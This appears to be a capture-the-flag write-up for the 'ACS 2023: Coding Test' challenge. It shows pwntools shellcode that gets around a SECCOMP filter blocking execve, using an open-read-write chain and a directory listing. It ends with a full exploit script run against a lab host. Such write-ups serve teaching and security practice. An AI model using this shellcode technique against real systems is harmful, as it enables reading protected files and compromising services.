> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/acs-2023-coding-test.md).

# ACS 2023: Coding Test

## TL;DR

> Restricted shellcode challenge with bypassable *SECCOMP* filter via *Open-Read-Write (ORW)* chain.

## Challenge Overview

Coding Test is a simple shellcode injection challenge that allows the user to write to an allocated buffer that is subsequently executed.

<figure><img src="/files/khGVTsiEfBus963wFX27" alt=""><figcaption></figcaption></figure>

However, there are some SECCOMP constraints that we have to bypass.

<figure><img src="/files/s8nazCztN5l4AngUASLK" alt=""><figcaption></figcaption></figure>

## Constructing ORW Chain

Since `execve` and `execveat` is blacklisted, making it impossible to spawn a shell, we can instead use an `open` > `read` > `write` (ORW) chain to read file contents from the remote system.

```python
shellcode = asm(shellcraft.linux.open("flag.txt"))
shellcode += asm(shellcraft.linux.syscall("SYS_read", "rax", "rsp", 0x100))
shellcode += asm(shellcraft.linux.syscall("SYS_write", 1, "rsp", "rax"))
```

Looking at the Docker File, the flag name is obscured by appending an MD5 hash. This makes it a little difficult to get the flag by reading the file directly.

```docker
FROM ubuntu:22.04
RUN apt-get update -y
RUN apt-get install -y xinetd
RUN apt-get install -y libseccomp-dev
RUN useradd -mU ctf_user
COPY ./coding_test /home/ctf_user/coding_test
COPY ./flag /home/ctf_user/flag
COPY ./xinetd /etc/xinetd.d/ctf_user
RUN chmod 750 /home/ctf_user /home/ctf_user/coding_test
RUN chmod 440 /home/ctf_user/flag
RUN chown -R root:ctf_user /home/ctf_user
RUN md5sum /home/ctf_user/flag | awk '{print $1}' | xargs -I {} mv /home/ctf_user/flag /home/ctf_user/flag_{}
CMD ["/usr/sbin/xinetd","-dontfork"]
```

To circumvent this, we can use `openat` to get all file names from the current directory:

```python
shellcode = asm(shellcraft.openat(-1, '/home/ctf_user/').rstrip())
shellcode += asm('''
            mov rdi,rax
            xor rdx,rdx
            xor rax,rax
            mov dx,0x3210
            lea rsi,[rsp]
            mov al,217
            syscall

            mov rax, 1
            mov rdi, 1
            mov rsi, rsp
            mov rdx, 500
            syscall
    ''')
```

<figure><img src="/files/Ouu25lDXTqVw5IWOcquu" alt=""><figcaption></figcaption></figure>

Afterward, just substitute the value of the file name to read in the ORW chain as follows:

```python
shellcode = asm(shellcraft.linux.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c"))
shellcode += asm(shellcraft.linux.syscall("SYS_read", "rax", "rsp", 0x100))
shellcode += asm(shellcraft.linux.syscall("SYS_write", 1, "rsp", "rax"))
```

<figure><img src="/files/o72nkfm0oji2BEH6Qprn" alt=""><figcaption></figcaption></figure>

**Flag:** ACS{Y0ur\_c0d!ng\_skill4\_ar3\_passabl3!!!!}

## Final Script

```python
#!/usr/bin/python3

from pwn import *

exe = "./coding_test"
elf = context.binary = ELF(exe, checksec=False)

context.log_level = 'DEBUG'
context.clear(arch="amd64")
warnings.filterwarnings(action='ignore', category=BytesWarning)

io = remote("192.168.0.45", 10137)
#io = elf.process()

def main():
        # shellcode = asm(shellcraft.openat(-1, '/home/ctf_user/').rstrip())
        # shellcode += asm('''
        #             mov rdi,rax
        #             xor rdx,rdx
        #             xor rax,rax
        #             mov dx,0x3210
        #             lea rsi,[rsp]
        #             mov al,217
        #             syscall

        #             mov rax, 1
        #             mov rdi, 1
        #             mov rsi, rsp
        #             mov rdx, 500
        #             syscall
        #     ''')

        shellcode = asm(shellcraft.linux.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c"))
        shellcode += asm(shellcraft.linux.syscall("SYS_read", "rax", "rsp", 0x100))
        shellcode += asm(shellcraft.linux.syscall("SYS_write", 1, "rsp", "rax"))

        print(io.recvuntil(b': '))
        io.sendline(shellcode)
        print(io.recvall())

if __name__ == "__main__":
        main()
```
